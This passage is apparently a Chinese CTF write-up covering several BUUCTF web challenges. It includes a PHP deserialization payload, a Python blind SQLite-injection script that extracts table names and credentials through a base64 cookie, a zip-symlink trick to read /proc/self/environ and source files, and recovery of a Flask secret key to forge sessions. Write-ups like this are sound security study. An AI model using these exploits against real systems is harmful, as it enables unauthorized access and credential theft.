"xxx") ); $this->_sqlPreBuild =array("action"=>"SELECT"); $this->_adapter = $b; } } $a = new HelloWorld_DB(); $aa = serialize($a); var_dump($aa); var_dump(base64_encode($aa)); ?> |
这里由于入口自带base64解码直接编码即可
我看有wp提到私有属性的不可见字符带来的问题,这种应该在反序列化入口无解码的情况下才需要
找到入口的路由/page_admin POST C0incid3nc3把payload打出去
带着exp里设置的session去访问/page_admin?admin=1 这里得传参admin参数,不然session的内容不会被打印
[BSidesCF 2019]Sequel
弱口令guest guest 登录后页面无可操作的点,Hackers那的意思应该就是要用admin账户登录了,寻找sql注入点
查看cookie,base64解码后即使内容,可能存在注入
经测试为sqlite注入,sqlite因为其比较简易每个db文件就是一个数据库,所以不存在information_schema数据库,但存在类似作用的表sqlite_master
import requests import base64 import string import sys out = "" while True: for letter in string.printable: tmp = out + letter #除去g,是因为我们登录得用户名就是guest,在查表名是需要注释掉这句if if letter == 'g': continue #查密码 payload = r'{{"username":"\" OR EXISTS(SELECT password FROM userinfo WHERE password LIKE \"{}\" limit 1) OR \"","password":"guest"}}'.format(tmp + '%') #查用户名 #payload = r'{{"username":"\" OR EXISTS(SELECT password FROM userinfo WHERE username LIKE \"{}\" limit 1) OR \"","password":"guest"}}'.format(tmp + '%') #查询表名,需要手动调整limit的值,一个个查询出表名 payload = r'{{"username":"\" OR EXISTS(SELECT name FROM sqlite_master WHERE name LIKE \"{}\" limit 1) OR \"","password":"guest"}}'.format(tmp + '%') payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8') r = requests.get('http://028329be-f507-4f9c-a547-b289fe7e0759.node4.buuoj.cn:81/sequels', cookies={"1337_AUTH" : payload}) if "Movie" in r.text: out = tmp sys.stdout.write(letter) sys.stdout.flush() break |
爆出表名是userinfo,用户名是sequeladmin,密码是f5ec3af19f0d3679e7d5a148f4ac323d
登录即可得到flag
[HCTF 2018]Hideandseek
无法登录admin用户,登录任意账户后,提示可以上传压缩文件,可以通过软链接来读取配置文件,来伪造session
读取环境变量
ln -s /proc/self/environ 111 zip -ry 111.zip 111 |
再读取/app/uwsgi.ini
由于环境问题,跟着wp找到原题路径 /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
读取文件得到源码
# -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response import uuid import base64 import random import flag from werkzeug.utils import secure_filename import os random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip']) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index(): error = request.args.get('error', '') if(error == '1'): session.pop('username', None) return render_template('index.html', forbidden=1) if 'username' in session: return render_template('index.html', user=session['username'], flag=flag.flag) else: return render_template('index.html') @app.route('/login', methods=['POST']) def login(): username=request.form['username'] password=request.form['password'] if request.method == 'POST' and username != '' and password != '': if(username == 'admin'): return redirect(url_for('index',error=1)) session['username'] = username return redirect(url_for('index')) @app.route('/logout', methods=['GET']) def logout(): session.pop('username', None) return redirect(url_for('index')) @app.route('/upload', methods=['POST']) def upload_file(): if 'the_file' not in request.files: return redirect(url_for('index')) file = request.files['the_file'] if file.filename == '': return redirect(url_for('index')) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a zipfile' try: extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d '+ extract_path) read_obj = os.popen('cat ' + extract_path + '/*') file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if(file != None): if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1): return redirect(url_for('index', error=1)) return Response(file) if __name__ == '__main__': #app.run(debug=True) app.run(host='0.0.0.0', debug=True, port=10008) |
看到SECRET_KEY的生成方式
Random伪随机数拿mac地址的十进制当的种子,读取/sys/class/net/eth0/address
使用在线工具转换,或者python脚本一步到位
import random mac = "02:42:ac:10:bd:df" temp = mac.split(':') temp = [int(i,16) for i in temp] temp = [bin(i).replace('0b','').zfill(8) for i in temp] temp = ''.join(temp) mac = int(temp,2) print(mac) random.seed(mac) randStr = str(random.random()*100) print(randStr) |
伪造session,带着这个session刷新页面即可
[BUUCTF][BSidesCF 2020]Cards
玩牌的题不懂规则,参考:https://blog.csdn.net/solitudi/article/details/109186061
import requests start = "http://3d7f4e1f-6a81-44cd-8dbf-d34a38daf941.node4.buuoj.cn:81/api" deal = start + "/deal" # 开局 state = requests.post(start).json()["SecretState"] while True: # 下注 try: resp = requests.post(deal, json={"Bet": 500, "SecretState": state}).json() except: continue if resp['GameState'] == 'Blackjack': state = resp['SecretState'] print(resp['Balance']) if resp['Balance'] > 100000: print(resp) break |